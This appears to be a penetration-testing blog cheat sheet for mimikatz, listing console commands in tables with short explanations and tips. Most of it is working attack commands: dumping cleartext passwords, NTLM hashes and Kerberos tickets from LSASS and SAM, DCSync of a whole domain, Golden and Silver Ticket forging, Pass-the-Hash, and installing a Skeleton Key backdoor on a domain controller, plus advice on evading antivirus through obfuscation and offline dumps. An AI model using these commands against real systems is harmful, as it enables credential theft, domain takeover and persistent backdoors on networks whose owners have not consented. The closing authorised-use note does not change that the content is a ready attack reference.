root@sparrow:~/writeups$ cat mimikatz.md
// Active Directory
Mimikatz
21 Jul 2026
· 3 min read
mimikatz is a Windows tool with an interactive console, created by Benjamin Delpy to extract credentials from system memory. Its specialty is dumping cleartext passwords, NTLM hashes and Kerberos tickets straight from the LSASS process, as well as abusing the local SAM and LSA secrets. It is the de facto standard for Active Directory domain post-exploitation.Nearly everything in mimikatz relies on reading LSASS memory, which is a protected process: you need SeDebugPrivilege (hence privilege::debug) and usually SYSTEM or local administrator context. The key nuance is that cleartext credentials only show up if WDigest or other providers keep them in memory; on modern Windows with LSA Protection or Credential Guard the live dump fails, so you fall back to an offline LSASS minidump processed later.
1. Beginner level — local credential dumping

| Command | What it does |
|---|---|
mimikatz.exe | Launches the interactive console |
privilege::debug | Enables SeDebugPrivilege (needed for almost everything) |
sekurlsa::logonpasswords | Dumps credentials from LSASS memory |
sekurlsa::wdigest | Extracts WDigest passwords (if stored in cleartext) |
sekurlsa::msv | Dumps the NTLM hashes from LSASS |
lsadump::sam | Dumps the hashes from the local SAM |
lsadump::cache | Dumps cached domain credentials (MSCache) |
sekurlsa::tickets | Lists the Kerberos tickets in memory |
token::whoami | Shows the current token |
token::elevate | Impersonates a SYSTEM token |
log salida.txt | Logs the output to a file |
version | Shows the mimikatz version |
sekurlsa::logonpasswords full | Full dump with all providers |
exit | Exits the console |
2. Advanced level — Active Directory attacks

| Command | What it does |
|---|---|
lsadump::dcsync /domain:dom.local /user:krbtgt | DCSync: extracts the krbtgt hash |
lsadump::dcsync /domain:dom.local /all /csv | DCSync of the whole domain to CSV |
kerberos::golden /user:admin /domain:dom /sid:<sid> /krbtgt:<hash> /ptt | Golden Ticket + injection |
kerberos::golden /user:admin /domain:dom /sid:<sid> /rc4:<hash> /target:srv /service:cifs | Silver Ticket |
sekurlsa::pth /user:admin /domain:dom /ntlm:<hash> /run:cmd | Pass-the-Hash launching cmd |
kerberos::ptt ticket.kirbi | Injects a ticket (Pass-the-Ticket) |
sekurlsa::ekeys | Extracts AES Kerberos keys from LSASS |
lsadump::lsa /inject | Dumps LSA secrets by injecting into LSASS |
lsadump::secrets | Dumps the LSA secrets from the registry |
crypto::capi | Enables exporting non-exportable keys |
dpapi::masterkey | Decrypts DPAPI masterkeys |
vault::cred | Dumps credentials from Windows Vault |
misc::skeleton | Installs a Skeleton Key on the DC (backdoor) |
sekurlsa::minidump lsass.dmp | Processes an offline LSASS dump |
3. Details people miss
- Run
privilege::debugright after opening the console: almost everysekurlsa::module fails with ERROR kuhl_m_privilege_simple if you lackSeDebugPrivilege, which requires administrator or SYSTEM context. - On Windows 8.1/2012 R2 and later WDigest is disabled by default, so
sekurlsa::logonpasswordsno longer shows cleartext passwords unless the attacker re-enables it in the registry and the victim logs in again. - mimikatz is flagged by virtually every antivirus and by Windows Defender; in a real environment you need obfuscation, in-memory execution, or dumping
lsass.dmpwith another tool and processing it offline withsekurlsa::minidump. - The
misc::skeletonmodule is extremely noisy and destructive: it patcheslsassin memory on the DC (it does not survive a reboot) and injects a master password for every account. Use it only in a lab or with explicit authorization. - Architecture matters: use the mimikatz build (x86/x64) that matches the target
LSASSprocess, or the dump and key reading will fail silently.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.